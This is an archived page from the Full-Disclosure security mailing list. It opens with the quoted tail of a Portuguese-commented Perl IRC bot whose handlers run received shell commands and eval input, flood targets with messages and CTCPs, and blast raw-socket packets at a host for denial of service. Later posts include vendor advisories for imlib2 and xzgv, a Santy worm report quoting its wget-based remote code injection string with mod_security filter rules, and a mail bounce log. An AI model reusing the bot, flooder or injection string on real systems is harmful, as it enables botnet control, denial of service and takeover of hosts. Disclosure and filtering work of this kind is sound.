> if ($case =~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
> $oarg = substr($case, 6);
> voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg = substr($case, 8);
> devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =~ /^eval (.*)/) {
> eval "$1";
> }
> }
> sub shell {
> return unless $secv;
> my $printl=$_[0];
> my $comando=$_[1];
> if ($comando =~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diertório inexistente!");
> return;
> }
> elsif ($pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my resp=`$comando 2>&1 3>&1`;
> my $c=0;
> foreach my $linha (resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c == "$linas_max") {
> $c=0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
> }
>
> #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
> sub attacker {
> my $iaddr = inet_aton($_[0]);
> my $msg = 'B' x $_[1];
> my $ftime = $_[2];
> my $cp = 0;
> my (%pacotes);
> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp == 4;
> my $itime = time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta = 1; $porta <= 65535; $porta++) {
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
> send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
> send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
> send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
>
> # DoS ?? :P
> for (my $pc = 3; $pc <= 255;$pc++) {
> next if $pc == 6;
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
> }
> }
> last if $cur_time >= $ftime;
> }
> return($cur_time, %pacotes);
> }
>
>
>
> #############
> # ALIASES #
> #############
>
> sub action {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
> }
>
> sub ctcp {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
> }
>
> sub notice {
> return unless $#_ == 1;
> sendraw("NOTICE $_[0] :$_[1]");
> }
>
> sub op {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -o $_[1]");
> }
> sub hop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub dehop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub voice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +v $_[1]");
> }
> sub devoice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -v $_[1]");
> }
> sub ban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +b $_[1]");
> }
> sub unban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -b $_[1]");
> }
> sub kick {
> return unless $#_ == 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
> }
>
> sub modo {
> return unless $#_ == 0;
> sendraw("MODE $_[0] $_[1]");
> }
> sub mode { modo(_); }
>
> sub j { &join(_); }
> sub join {
> return unless $#_ == 0;
> sendraw("JOIN $_[0]");
> }
> sub p { part(_); }
> sub part {sendraw("PART $_[0]");}
>
> sub nick {
> return unless $#_ == 0;
> sendraw("NICK $_[0]");
> }
>
> sub invite {
> return unless $#_ == 1;
> sendraw("INVITE $_[1] $_[0]");
> }
> sub topico {
> return unless $#_ == 1;
> sendraw("TOPIC $_[0] $_[1]");
> }
> sub topic { topico(_); }
>
> sub whois {
> return unless $#_ == 0;
> sendraw("WHOIS $_[0]");
> }
> sub who {
> return unless $#_ == 0;
> sendraw("WHO $_[0]");
> }
> sub names {
> return unless $#_ == 0;
> sendraw("NAMES $_[0]");
> }
> sub away {
> sendraw("AWAY $_[0]");
> }
> sub back { away(); }
> sub quit {
> sendraw("QUIT :$_[0]");
> }
>
>
>
> # DCC
> package DCC;
>
> sub connections {
> my ready = $dcc_sel->can_read(1);
> # return unless (ready);
> foreach my $fh (ready) {
> my $dcctipo = $DCC{$fh}{tipo};
> my $arquivo = $DCC{$fh}{arquivo};
> my $bytes = $DCC{$fh}{bytes};
> my $cur_byte = $DCC{$fh}{curbyte};
> my $nick = $DCC{$fh}{nick};
>
> my $msg;
> my $nread = sysread($fh, $msg, 10240);
>
> if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} = "Cancelado";
> $DCC{$fh}{ftime} = time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} += length($msg);
>
> my $cur_byte = $DCC{$fh}{curbyte};
>
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <= $bytes);
> close(FILE);
>
> my $packbyte = pack("N", $cur_byte);
> print $fh "$packbyte";
>
> if ($bytes == $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} = "Recebido";
> $DCC{$fh}{ftime} = time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send = $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} = 'sendcon';
> $DCC{$send}{itime} = time;
> $DCC{$send}{nick} = $nick;
> $DCC{$send}{bytes} = $bytes;
> $DCC{$send}{curbyte} = 0;
> $DCC{$send}{arquivo} = $arquivo;
> $DCC{$send}{ip} = $send->peerhost;
> $DCC{$send}{porta} = $send->peerport;
> $DCC{$send}{status} = "Enviando";
>
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
> open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
> # delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended = unpack("N", $msg);
> $DCC{$fh}{curbyte} = $bytes_sended;
> if ($bytes_sended == $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} = "Enviado";
> $DCC{$fh}{ftime} = time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
> }
>
>
> sub SEND {
> my ($nick, $arquivo) = _;
> unless (-r "$arquivo") {
> return(0);
> }
>
> my $dccark = $arquivo;
> $dccark =~ s/[.*\/](\S+)/$1/;
>
> my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip = unpack("N",inet_aton($meuip));
>
> my filestat = stat($arquivo);
> my $size_total=$filestat[7];
> if ($size_total == 0) {
> return(0);
> }
>
> my ($porta, $sendsock);
> do {
> $porta = int rand(64511);
> $porta += 1024;
> $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
> } until $sendsock;
>
> $DCC{$sendsock}{tipo} = 'send';
> $DCC{$sendsock}{nick} = $nick;
> $DCC{$sendsock}{bytes} = $size_total;
> $DCC{$sendsock}{arquivo} = $arquivo;
>
>
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
> }
>
> sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = _;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>
> my $dccip=fixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
> $dccsock->autoflush(1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} = 'get';
> $DCC{$dccsock}{itime} = time;
> $DCC{$dccsock}{nick} = $nick;
> $DCC{$dccsock}{bytes} = $bytes;
> $DCC{$dccsock}{curbyte} = 0;
> $DCC{$dccsock}{arquivo} = $arquivo;
> $DCC{$dccsock}{ip} = $dccip;
> $DCC{$dccsock}{porta} = $dccporta;
> $DCC{$dccsock}{status} = "Recebendo";
> }
>
> # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
> sub Status {
> my $socket = shift;
> my $sock_tipo = $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick = $DCC{$socket}{nick};
> my $arquivo = $DCC{$socket}{arquivo};
> my $itime = $DCC{$socket}{itime};
> my $ftime = time;
> my $status = $DCC{$socket}{status};
> $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
> my $d_time = $ftime-$itime;
>
> my $cur_byte = $DCC{$socket}{curbyte};
> my $bytes_total = $DCC{$socket}{bytes};
>
> my $rate = 0;
> $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen = ($cur_byte*100)/$bytes_total;
>
> my ($r_duv, $p_duv);
> if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv = $3; $r_duv++ if $4 >= 5;
> $rate = "$1\.$2"."$r_duv";
> }
> if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv = $3; $p_duv++ if $4 >= 5;
> $porcen = "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
> }
>
>
> return(0);
> }
>
>
> # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
> sub fixaddr {
> my ($address) = _;
>
> chomp $address; # just in case, sigh.
> if ($address =~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
> return $address;
> } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
> }
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [USN-55-1] imlib2 vulnerabilities

From: Martin Pitt (martin.pittcanonical.com)
Date: Thu Jan 06 2005 - 11:42:28 CST


===========================================================
Ubuntu Security Notice USN-55-1 January 06, 2005
imlib2 vulnerabilities
CAN-2004-1025, CAN-2004-1026
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

libimlib2

The problem can be corrected by upgrading the affected package to
version 1.1.0-12ubuntu2.1. In general, a standard system upgrade is
sufficient to effect the necessary changes.

Details follow:

Recently, Pavel Kankovsky discovered several buffer overflows in imlib
which were fixed in USN-53-1. It was found that imlib2 was vulnerable
to similar issues.

If an attacker tricked a user into loading a malicious XPM or BMP
image, he could exploit this to execute arbitrary code in the context
of the user opening the image.

These vulnerabilities might also lead to privilege escalation if a
privileged server process is using this library; for example, a PHP
script on the web server which does automatic image processing might
use the php-imlib package, in which case a remote attacker could
possibly execute arbitrary code with the web server's privileges.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0-12ubuntu2.1.diff.gz
      Size/MD5: 519125 3ece0e406b95e41d4c9399b5def6adf4
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0-12ubuntu2.1.dsc
      Size/MD5: 707 4ce1ffa67516fe7b9bb5974aebd7cd0a
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0.orig.tar.gz
      Size/MD5: 814851 1589ebb054da76734fe08ae570460034

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_amd64.deb
      Size/MD5: 608490 298b73e1ca6d67fd67a5f1c46f4c2b17
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_amd64.deb
      Size/MD5: 189040 202f3d45cbdf0051d7a4b4c3a883445e

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_i386.deb
      Size/MD5: 570136 3d49a87c30e254897b759ca45894d95a
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_i386.deb
      Size/MD5: 176266 56ffca0de995818e951b554f05dc561e

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_powerpc.deb
      Size/MD5: 669892 f8e61e9ef1b7df0d215553ad5ff51def
    http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_powerpc.deb
      Size/MD5: 196958 354f393c057b2188303763dce03c474e

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFB3XiEDecnbV4Fd/IRAraBAKDthEFbDgMIpczZa6F8lYUmSBmUSgCg0Hh5
2ocIZAlmQqNXQKsIFD8ir2Y=
=UQOP
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Re: New Santy-Worm attacks *all* PHP-skripts

From: Paul Laudanski (zxcastlecops.com)
Date: Sat Dec 25 2004 - 15:28:15 CST


On Sat, 25 Dec 2004, Juergen Schmidt wrote:

> the new santy version not only attacks phpBB.
>
> It uses the brasilian Google site to find all kinds of PHP skripts.
> It parses their URLs and overwrites variables with strings like:
>
> 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> www.visualcoders.net/spybot.txt;...
>
> Often enough this leads to download and execution of code.
> On success the worm connects to an IRC server, where already more than 700
> zombies are waiting for commands.

My friend Suzi from http://spywarewarrior.com who runs Wordpress found
this:

http://wordpress.org/support/7/19285

Within five minutes I've logged over 600 attempts on my server.

For those using mod_security, I'm implemented a nice 406 in the meantime,
it is Christmas after all, I'm sure we want to elsewhere:

[code]
SecFilter "visualcoders\.net/spy\.gif\?\&cmd"
SecFilter ":/"
[/code]

Just in case the URL changes, the latter should still get all sorts of:

http://
ftp://

Naturally, the latter also filters on

%3a%2f

No Warranty
-----------
ALL SUCH INFORMATION, SOFTWARE, PRODUCTS, AND SERVICES ARE PROVIDED
"AS IS" WITHOUT WARRANTY OF ANY KIND. CASTLECOPS, ITS AFFILIATES,
AND/OR THEIR RESPECTIVE SUPPLIERS HEREBY DISCLAIM ALL WARRANTIES
AND CONDITIONS WITH REGARD TO THIS INFORMATION, SOFTWARE, PRODUCTS,
AND SERVICES, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, AND
NONINFRINGEMENT. http://castlecops.com/article1.html

--
Regards,

Paul Laudanski - Computer Cops, LLC. CEO & Founder
CastleCops(SM) - http://castlecops.com
Promoting education and health in online security and privacy.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] [gentoo-announce] [ GLSA 200501-09 ] xzgv: Multiple overflows

From: Thierry Carrez (koongentoo.org)
Date: Thu Jan 06 2005 - 15:34:09 CST


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200501-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: xzgv: Multiple overflows
      Date: January 06, 2005
      Bugs: #74069
        ID: 200501-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

xzgv contains multiple overflows that may lead to the execution of
arbitrary code.

Background
==========

xzgv is a picture viewer for X, with a thumbnail-based file selector.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 media-gfx/xzgv <= 0.8 >= 0.8-r1

Description
===========

Multiple overflows have been found in the image processing code of
xzgv, including an integer overflow in the PRF parsing code
(CAN-2004-0994).

Impact
======

An attacker could entice a user to open or browse a specially-crafted
image file, potentially resulting in the execution of arbitrary code
with the rights of the user running xzgv.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All xzgv users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=media-gfx/xzgv-0.8-r1"

References
==========

  [ 1 ] CAN-2004-0994
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0994
  [ 2 ] iDEFENSE Advisory

http://www.idefense.com/application/poi/display?id=160&type=vulnerabilities&flashstatus=true

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



 
Re: [Full-Disclosure] change email

From: GuidoZ (uberguidozgmail.com)
Date: Tue Dec 28 2004 - 14:56:49 CST


I think you're best bet is to follow the instructions here:
 - http://seclists.org/about/fulldisclosure.txt

Otherwise you'll notice that your request will never happen. ;)

--
Peace. ~G

On Wed, 22 Dec 2004 23:31:41 -0800 (PST), PBSoft Computer Labs (Peter)
<pbsoft_labsyahoo.com> wrote:
>
> G'day
> I wish to change the email address for this
> subscription to databack_australiayahoo.com
>
> tia
>
> =====
> --
> Regards
> Peter
>
> PBSoft Computer Labs
> Expert Data Recovery Services
> Australia-Wide
> pbsoft_labsyahoo.com
> http://www.hitcity.com.au/PBSOFT.info
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam? Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


 
[Full-Disclosure] Netsys Mailman Probes due to Illegal Attachments

From: James Tucker (jftuckergmail.com)
Date: Tue Dec 28 2004 - 07:37:41 CST


Everyone else on gmail and with other good MTA filters getting these?

Thought it is interesting to note that so many (other people's)
addresses are being sent out in the probe...

  ----- The following addresses had permanent fatal errors -----
<scznsfocus.com>
   (reason: 550 Error: Message content rejected)
<administratormaginetworks.com>
   (reason: 550 5.0.0 your mail contains a virus)
<osnewsgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<martin.burtongmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<infolistgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<dogobrazilspymac.com>
   (reason: 550 Blacklisted file extension detected)
<gskoubysitesnow.com>
   (reason: 550 Blacklisted file extension detected)
<jneedleredhat.com>
   (reason: 554 5.7.1 Rejecting because of virus Worm.Bagle.Z)
<formatezgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<jmaierahlmann.com>
   (reason: 550 Error: attachment type not allowed)
<gzhanyz21cn.com>
   (reason: 553 Mail data refused by AISP, rule [2640375].)
<qixianqin126.com>
   (reason: 550 CoremailSys:Your message was blocked by NetEase
AntiSpam+...(T0E8Jxjr0EEysqOM.1.C.12921))
<marcanogmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<radicandgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<shonkyholdingsgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<greg.burgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<core10gmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<n00blettegmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<f.caccavellagmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<screenstergmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<amathewsgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<jftuckergmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<bartusogmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<has207gmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<grantmcgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<scott.sargentgmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<michael.halegmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<wolviegmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<cren888gmail.com>
   (reason: 552 5.7.0 Illegal Attachment)
<chancedreamscope.com>
   (reason: 550 Error: Files attached to emails that contain or end in
.scr are prohibited on this server as they may contain viruses.)

  ----- Transcript of session follows -----
... while talking to 211.152.8.69.:
>>> DATA
<<< 550 Error: Message content rejected
554 5.0.0 Service unavailable
... while talking to mailin.webmailer.de.:
>>> DATA
<<< 550 5.0.0 your mail contains a virus
554 5.0.0 Service unavailable
<mweberhitwin.com>... Deferred: Connection timed out with mail.hadag.com.
... while talking to gsmtp171.google.com.:
>>> DATA
<<< 552 5.7.0 Illegal Attachment
554 5.0.0 Service unavailable
... while talking to mail-in2.spymac.net.:
>>> DATA
<<< 550 Blacklisted file extension detected
554 5.0.0 Service unavailable
... while talking to mail.sitesnow.com.:
>>> DATA
<<< 550 Blacklisted file extension detected
554 5.0.0 Service unavailable
... while talking to mx1.redhat.com.:
>>> DATA
<<< 554 5.7.1 Rejecting because of virus Worm.Bagle.Z
554 5.0.0 Service unavailable
... while talking to gsmtp171.google.com.:
>>> DATA
<<< 552 5.7.0 Illegal Attachment
554 5.0.0 Service unavailable
... while talking to mail.ahlmann.com.:
>>> DATA
<<< 550 Error: attachment type not allowed
554 5.0.0 Service unavailable
... while talking to mta2.21cn.com.:
>>> DATA
<<< 553 Mail data refused by AISP, rule [2640375].
554 5.0.0 Service unavailable
... while talking to mx.mail.126.com.:
>>> DATA
<<< 550 CoremailSys:Your message was blocked by NetEase
AntiSpam+...(T0E8Jxjr0EEysqOM.1.C.12921)
554 5.0.0 Service unavailable
... while talking to gsmtp171.google.com.:
>>> DATA
<<< 552 5.7.0 Illegal Attachment
554 5.0.0 Service unavailable
... while talking to mail.dreamscope.com.:
>>> DATA
<<< 550 Error: Files attached to emails that contain or end in .scr
are prohibited on this server as they may contain viruses.
554 5.0.0 Service unavailable

Final-Recipient: RFC822; scznsfocus.com
Action: failed
Status: 5.2.0
Remote-MTA: DNS; 211.152.8.69
Diagnostic-Code: SMTP; 550 Error: Message content rejected
Last-Attempt-Date: Tue, 28 Dec 2004 00:04:01 -0500 (EST)

Final-Recipient: RFC822; administratormaginetworks.com
Action: failed
Status: 5.0.0
Remote-MTA: DNS; mailin.webmailer.de
Diagnostic-Code: SMTP; 550 5.0.0 your mail contains a virus
Last-Attempt-Date: Tue, 28 Dec 2004 00:04:42 -0500 (EST)

Final-Recipient: RFC822; osnewsgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:05:31 -0500 (EST)

Final-Recipient: RFC822; martin.burtongmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:05:31 -0500 (EST)

Final-Recipient: RFC822; infolistgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:05:31 -0500 (EST)

Final-Recipient: RFC822; dogobrazilspymac.com
Action: failed
Status: 5.2.0
Remote-MTA: DNS; mail-in2.spymac.net
Diagnostic-Code: SMTP; 550 Blacklisted file extension detected
Last-Attempt-Date: Tue, 28 Dec 2004 00:07:06 -0500 (EST)

Final-Recipient: RFC822; gskoubysitesnow.com
Action: failed
Status: 5.2.0
Remote-MTA: DNS; mail.sitesnow.com
Diagnostic-Code: SMTP; 550 Blacklisted file extension detected
Last-Attempt-Date: Tue, 28 Dec 2004 00:08:56 -0500 (EST)

Final-Recipient: RFC822; jneedleredhat.com
Action: failed
Status: 5.7.1
Remote-MTA: DNS; mx1.redhat.com
Diagnostic-Code: SMTP; 554 5.7.1 Rejecting because of virus Worm.Bagle.Z
Last-Attempt-Date: Tue, 28 Dec 2004 00:09:43 -0500 (EST)

Final-Recipient: RFC822; formatezgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:09:46 -0500 (EST)

Final-Recipient: RFC822; jmaierahlmann.com
Action: failed
Status: 5.2.0
Remote-MTA: DNS; mail.ahlmann.com
Diagnostic-Code: SMTP; 550 Error: attachment type not allowed
Last-Attempt-Date: Tue, 28 Dec 2004 00:10:55 -0500 (EST)

Final-Recipient: RFC822; gzhanyz21cn.com
Action: failed
Status: 5.1.0
Remote-MTA: DNS; mta2.21cn.com
Diagnostic-Code: SMTP; 553 Mail data refused by AISP, rule [2640375].
Last-Attempt-Date: Tue, 28 Dec 2004 00:11:42 -0500 (EST)

Final-Recipient: RFC822; qixianqin126.com
Action: failed
Status: 5.2.0
Remote-MTA: DNS; mx.mail.126.com
Diagnostic-Code: SMTP; 550 CoremailSys:Your message was blocked by NetEase
       AntiSpam+...(T0E8Jxjr0EEysqOM.1.C.12921)
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:04 -0500 (EST)

Final-Recipient: RFC822; marcanogmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; radicandgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; shonkyholdingsgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; greg.burgmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; core10gmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; n00blettegmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
Diagnostic-Code: SMTP; 552 5.7.0 Illegal Attachment
Last-Attempt-Date: Tue, 28 Dec 2004 00:12:16 -0500 (EST)

Final-Recipient: RFC822; f.caccavellagmail.com
Action: failed
Status: 5.7.0
Remote-MTA: DNS; gsmtp171.google.com
